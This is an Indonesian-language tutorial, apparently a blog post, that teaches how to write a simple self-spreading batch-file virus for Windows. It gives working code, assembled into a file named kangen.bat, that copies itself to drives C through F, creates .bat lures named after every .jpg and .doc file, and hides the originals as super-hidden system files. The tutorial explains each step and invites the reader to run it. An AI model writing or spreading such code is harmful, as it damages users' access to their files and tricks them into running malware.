Istilah virus diperkenalkan pertama kalinya pada tatun 1981 dalam sebuah percakapan antara Dr.Fred Cohen dan Prof. Leonard M. Adleman. Menurut teorinya bahwa virus merupakan sebuah program dimana tersusun algoritma yang merupakan tujuan dari si pembuatnya, sehingga program ini bias melakukan beberapa aktivitas seperti menggandakan dirisy,mengacaukan dan merusak sytem yang ada.
Seputar Batch File
Merupakan salahsatu program yang dapat diakses dan dijalankan secara langsung oleh windows tanpa bantuan program pendukung lainnya. Batch file ini memiliki ekstensi file *.bat.
Contoh Proyek Batch File
Kita akan menggunakan editor notepad dengan cara klik Start →Run, kemudian ketikan “Notepad” pada textbox Open.
Setelah klik tombol OK maka jendela Notepad akan muncul. Kemudian simpan dengan ekstensi “.bat”
Sintak untuk membuat virus dapat diketikan di file batch ini. Untuk lebih jelasnya mari kita masuk ke contoh pembuatan virus sederhana.
Adapaun algoritma dari virus yang akan kita buat adalah sebagai berikut :
1. Mengcopykan dirinya sendiri ke drive C, D, E, F
2. Menambahkan ekstensi *.bat pada semua file *.jpg dan *.doc yang ada didirektori aktif (direktori letak file virus di klik) saat itu (tidak termasuk sub foldernya)
3. Menyembunyikan file asli hingga dalam mode Super Hidden atau System File.
Implementasi dari algoritma diatas adalah sebagai berikut:
Algoritma Pertama:
For %%p in (C D E F) do copy %0 %%p:
>Keterangan: perintah diatas digunakan untuk melakukan pengcopyan file virus dengan nama yang sama dengan file virus aslinya ke drive C D E F. sebenarnya kita dapat menggunakan perintah copy biasa tanpa menggunakan perulangan dalam hal ini. Namun cara demikian tidak efektif, karena kita harus mengetikan sekitar 5 baris perintah copy. Oleh karena itulah kita menggunakan perintah perulangan, agar penulisan dapat dipersingkat dengan hasil yang sama. %%variabel atau %%p(pada contoh) sangat dianjurkan untuk digunakan, untuk menangani file dengan nama yang terlalu panjang. Sedangkan %0 digunakan untuk menghandle dirinya sendiri. Pada kasus ini, %0 merujuk pada file virus ini.
Algoritma Kedua:
For %%q in (*.jpg *.doc) do type %0 > %%q.bat
Keterangan: perintah ini digunakan untuk membentuk file-file *.bat baru yang nama filenya menggunakan nama file-file *.jpg dan *.doc (beserta ekstensinya). Jadi misalnya ada sebuah dokumen dengan nama kisi java, maka file bat yang akan terbentuk adalah kisi java.doc.bat. begitupula apabila menemukan file jpg, terjemahan dari perintah diatas adalah : “selama nilai %%q sama dengan file-file berekstensi *.jpg atau *.doc, maka isi (listing program) file virus ini akan terbuka, kemudaian isi file virus tersebut disimpan sebagai file lain dengan menggunakan nama dari %%q ditambahi ekstensi .bat untuk menjadikan nya sebagai batch file.”
Algoritma Ketiga:
For %%r in (*.jpg *.doc) do attrib +h +s %%r
Keterangan: Perintah ini menyembunyikan file-file *.jpg dan *.doc yang ada pada sub folder aktif saja, tidak termasuk subfoldernya. File-file tersebut diberi atribut System File, sehingga akan disembunyikan dalam mode Super Hidden. Hal ini karena pada perintah diatas, kita menggunakan fungsi attrib +h +s. +h digunakan untuk memberikan atribut hidden pada file, sedangkan +s digunakan untuk menyembunyikan file kedalam mode super hiden. Sedangkan %%r merupakan parameter untuk menghandle file-file *.jpg dan *.doc.
Dengan demikian apabila perintah-perintah tersebut digabungkan, akan membentuk barisan perintah sebagai berikut ini:
Echo Off
For %%p in ( C D E F) do copy %0 %%p:
For %%q in (*.jpg *.doc) do type %0> %%q.bat
For %%r in (*.jpg *.doc) do attrib +h +s %%r
Exit
>Kita dapat mengetikan perintah diatas ke Note Pad, kemudian kita simpan dengan nama kangen.bat pada direktori D:\securiticomp (karena kita buatnya di folder D).
Tinggal Kita coba jalan kangen.bat tersebut. Apabila prosesnya berhasil maka dampak yang muncul adalah sebagai berikut:
• Akan muncul file baru bernama kangen.bat pada drive C, D, E dan F
• Misalnya jika anda mengeklik ganda file kangen.bat yang ada pada drive D maka akan terbentuk file – file baru yang menggunakan nama file *.jpg dan *.doc sebagai namanya dengan ditambahi .bat sebagai ekstensinya.
• Pada direktori didalamnya terletak file virus yang telah anda eksekusi, file-file *.jpg dan *.doc-nya akan disembunyikan kedalam mode supper hidden atau system file
Mengingat virus ini cuma menagacau tampilan dan belum menyerang direktori jadi untuk pemusnahannya juga dapat dilakukan dengan perintah “Delete”.